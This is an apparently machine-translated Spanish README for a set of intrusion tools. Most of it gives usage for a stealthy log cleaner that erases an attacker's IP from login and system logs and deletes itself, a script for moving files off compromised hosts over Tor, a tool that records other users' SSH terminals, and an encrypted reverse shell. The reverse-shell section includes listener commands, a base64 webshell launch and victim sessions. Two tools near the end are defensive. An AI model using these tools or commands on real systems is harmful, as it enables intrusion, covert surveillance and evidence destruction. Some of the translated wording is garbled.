Este repositorio contiene scripts que pueden ser útiles durante sus actividades de lucha por la libertad. Se actualizará ocasionalmente, cuando me encuentro con algo que no puedo encontrar en línea. Todo aquí se distribuye bajo los términos de la licencia GPL V3.
Las contribuciones y las solicitudes de extracción son muy bienvenidas.
Un limpiador de registros que elimina las entradas incriminatorias en:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(controla la salida de la who
, w
y last
comandos)/var/log/lastlog
(controla la salida del comando lastlog
)/var/**/*.log
(.log.1, .log.2.gz, etc. incluido)Las entradas se eliminan en función de una dirección IP y/o nombre de host asociado.
Se tiene especial cuidado para evitar romper descriptores de archivos mientras manipulan los registros. Esto significa que los registros continúan siendo escritos después de haber sido manipulados, lo que hace que la limpieza sea mucho menos visible. Todo el trabajo tiene lugar en una unidad TMPFS y cualquier archivo creado se limpia de forma segura.
ADVERTENCIA: El script solo se ha probado en Linux y no podrá limpiar las entradas UTMP en otros sabores UNIX.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
De manera predeterminada, si no se dan argumentos, el script intentará determinar la dirección IP a Scrub en función de la variable de entorno SSH_CONNECTION
. Cualquier entrada que coincida con el DNS inverso de esa IP también se eliminará.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... eliminará todas las entradas para la raíz del usuario donde la dirección IP es 151.80.119.32 o el nombre de hostal es manalyzer.org
. También se le solicitará al usuario antes de eliminar cada registro debido a la opción --check
. Finalmente, el archivo /etc/app/logs/access.log
se procesará además de todos los predeterminados.
Si las carpetas se dan como argumentos posicionales ( /etc/app/logs/
por ejemplo), el script los rastreará recursivamente y limpiará cualquier archivo con la extensión .log
( *.log.1, *.log.2.gz, etc. .
Es posible que también desee eliminar líneas arbitrarias del archivo de registro. Para hacerlo, use la opción --regexp
. Por ejemplo, la siguiente línea de comandos buscará todas las solicitudes de publicación a los archivos PHP desde la IP especificada:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
Suponiendo que esto se ejecute desde una conexión SSH, este comando eliminará todos los registros relacionados con la actividad del usuario actual con la dirección IP detectada y el nombre de host justo después de que se cierre la conexión. Este script posteriormente se eliminará automáticamente. Tenga en cuenta que no tendrá ninguna oportunidad de recibir mensajes de error de la aplicación. Se le recomienda que intente eliminar los registros una vez antes de generar el demonio para asegurarse de que los argumentos que especificó sean correctos. Si está en un shell sin TTY, el script no podrá detectar cuándo finaliza la sesión. Se le notificará que los registros se eliminarán en 60 segundos, y que debe iniciar sesión antes (o arriesgarse a crear más entradas después de que se haya ejecutado el script).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
Este script se proporciona sin ninguna garantía. No me culpes, no limpia todas las huellas de algo que no deberías haber hecho en primer lugar.
Un script de intercambio de archivos portátil y seguro. Si bien la lucha por la libertad, generalmente no es posible los archivos SCP en máquinas comprometidas. Se necesitan formas alternativas de cargar archivos, pero la mayoría de los servicios para compartir son demasiado restrictivos o no proporcionan una forma de recuperar archivos fácilmente desde la línea de comandos. Las consideraciones de seguridad también pueden evitar que las personas carguen archivos confidenciales a los proveedores de la nube por temor a mantener una copia para siempre.
Este pequeño y portátil script bash se basa en la transferencia.SH para resolver ese problema. Él...
torify
si está presente en el sistema para una mayor anonimidad. Las únicas dependencias necesarias son openssl
y curl
o wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
Los argumentos adicionales durante la carga le permiten controlar el número máximo -d
descargas permitidas para el archivo ( -m
) y cuántos días transferirán. El valor predeterminado para ambas opciones es 1.
ADVERTENCIA : No use espacios en la clave de cifrado, o solo se tendrá en cuenta la primera palabra de su frase de pases. Esto se debe a la forma en que getopts
maneja los argumentos (creo). Las solicitudes de extracción son bienvenidas si alguien está interesado en solucionar esto.
AutoJack es un breve script que aprovecha el shelljack de SevyMonkey para registrar el terminal de cualquier usuario que se conecte a través de SSH. Observa auth.log
para conexiones exitosas, descubra el PID del proceso bash
del usuario y deja el resto en shelljack
.
Iniciarlo en una pantalla y esperar hasta que otros usuarios inicien sesión. Su sesión se registrará a /root/.local/sj.log.[user].[timestamp]
.
El script no es particularmente sigiloso (no se intenta ocultar el proceso shelljack
) pero hará el trabajo. Tenga en cuenta que para evitar la autoinculpación, el usuario root
no está dirigido (esto se puede comentar trivialmente en el código).
Listurl es un rastreador de sitios web de múltiples subprocesos que obtiene una lista de páginas disponibles del objetivo. Este script es útil para los cazadores de bugas que intentan establecer la superficie de ataque de una aplicación web.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
Aquí está la salida de muestra para un pequeño sitio web:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
Las opciones --exclude-regexp
y --show-regexp
se utilizan para controlar qué URL se deben mostrar o ignorar. Por ejemplo, en el ejemplo anterior, es posible que desee ignorar páginas que probablemente sean muy similares:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
Tenga en cuenta que las URL correspondientes no se rastrean. Esto es particularmente útil cuando el script se pierde en páginas de comentarios profundos o contenido repetitivo. Alternativamente, solo puede estar interesado en los scripts de PHP: ./listurl.py --show-regexp ".php$"
.
Por defecto, el rastreador solo tiene 3 niveles de profundidad. Esto es algo que puede controlar con la opción --max-depth
.
Otra consideración es si se deben seguir las URL que apuntan a dominios externos. Por defecto, el script no lo hace, pero puede habilitar esto configurando el interruptor --external
. Si no está interesado en dominios externos aleatorios pero aún desea extender el rastreo a los subdominios, puede establecer el interruptor --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
Observe que si el script lleva demasiado tiempo, puede presionar CTRL+C en cualquier momento para apagarlo. Luego se le mostrará las páginas descubiertas hasta ahora.
Si necesita acceder a páginas autenticadas en un sitio web, puede proporcionar cookies a listurl.py desde la línea de comando con la opción --cookie
.
Finalmente, si está trabajando en un sitio web que tiene un certificado SSL no válido o autofirmado, use la opción --no-certificate-check
para ignorar los errores SSL.
ersh
es una concha inversa cifrada escrita en puro pitón. ¿Alguna vez ha estado en una caja sin utilidades estándar o herramientas de compilación, y no hay una manera fácil de cargar binarios? ¿Tienes miedo de lo que un IDS notará un caparazón de salida? ¿Cerró accidentalmente su oyente de Netcat porque presionó ^C
? No sufrir más.
ersh
ofrece las siguientes características:
Para una discusión más detallada sobre cómo surgió esta herramienta, consulte esta publicación de blog.
¡Este script necesita ser editado antes de que funcione! Busque este marcador cerca del comienzo:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
El HOST
y PORT
se explican por sí mismos, pero es posible que necesite ayuda adicional para los certificados SSL. Sin embargo, nadie quiere luchar contra el cliente de Openssl, por lo que puede usar las siguientes frases:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
¡Eso es todo! Ahora debe tener cinco archivos nuevos en su carpeta actual: server.(crt|key|pem)
y client.(crt|key)
. Algunos de ellos deben insertarse en el script para que el shell inverso y el oyente puedan autenticarse entre sí. Específicamente:
client_key
debe contener el contenido de client.key
.client_crt
debe contener el contenido de client.crt
.server_crt
debe contener el contenido de server.crt
.Eso es todo, no se requiere más edición.
Teniendo en cuenta que avanzará una negociación TLS completa, un oyente tradicional nc
no será suficiente aquí. socat
ha sido elegido para esta tarea, debido a su capacidad para manejar el cifrado y los TTY. En las distribuciones basadas en Debian, debería poder obtenerlo simplemente ejecutando sudo apt-get install socat
.
Suponiendo que todavía está en la carpeta donde generó las teclas y los certificados, y desea escuchar en el puerto 443, aquí está la línea de comando que debe ejecutar en la máquina donde llegará el shell inverso:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
No necesita copiar el script a la máquina remota para que funcione. Aquí hay una manera simple de ejecutarlo desde un caparazón no interactivo. Copie el script completo a su portapapeles y ejecute los siguientes comandos en la víctima:
python - <<'EOF'
[paste script contents here]
'EOF'
Si está intentando lanzar ersh.py
desde un entorno que no admite múltiples líneas (como Weevely), también puede intentar generar una línea de una sola como esta:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
En la máquina receptor:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
En la víctima:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
Y en el receptor nuevamente:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
Este guión fue escrito para detectar ataques de mucama malvados. Lo hace al verificar en el momento del arranque si el disco duro estaba encendido pero no el sistema operativo (por ejemplo, si se sacó de la computadora para una copia, o si alguien intentó arrancar la máquina pero fue detenido por una contraseña de FDE ).
Debe asegurarse de que este script se ejecute en cada arranque. Las siguientes instrucciones funcionarán en distribuciones utilizando Systemd.
/etc/systemd/system/
. Arregle las rutas dentro de ella según sea necesario. ¡El script se ejecutará como root, así que asegúrese de que no sea mundial que sea WRITITY!#> systemctl enable boot_check.service
Instalar dependencias:
#> apt install smartmontools dialog
Ejecute el script una vez para que inicialice:
#> ./boot_check.py
Si aparece un mensaje de confirmación, está listo para comenzar.
Si desea asegurarse de que el script funcione, asegúrese de hacer lo siguiente:
Este script fue creado para proporcionar una forma simple de "bancy-trap" ciertos ejecutables en un sistema Linux. La idea es detectar intrusos cuando usan ciertos binarios ( id
, whoami
, gcc
) en un servidor que no poseen.
Para proteger esos binarios, notify_hook.py
cree enlaces simbólicos a este script más alto en la PATH
. notify_hook
le enviará una alerta y llamará al programa previsto de manera transparente. Por ejemplo, si desea "proteger" id
, simplemente cree el siguiente enlace SYM en su máquina:
ln -s path/to/notify_hook.py /usr/local/bin/id
... y todas las llamadas futuras a id
deben enrutarse a través de este script. Obviamente, esta no es una forma infalible de detectar piratas informáticos en sus sistemas, pero, sin embargo, debería atrapar a los intrusos más descuidados.
Algunos programas y scripts en su sistema pueden invocar regularmente algunos de los binarios que desea proteger. En ese caso, puede editar una variable llamada CALLER_WHITELIST
colocada al comienzo del script. Ponga el nombre de esos procesos en la lista para deshabilitar las alertas de ellas (se aceptan expresiones regulares).
El método de notificación actual implementado en este script es un mensaje de texto que se envía a la señal con la CLI Signal-Cli de ASAMK. Deberá instalar este proyecto por separado si desea usarlo o, lo más probable, reemplazar la función notify_callback
colocada en la parte superior de notify_hook.py
con lo que se adapte a sus necesidades.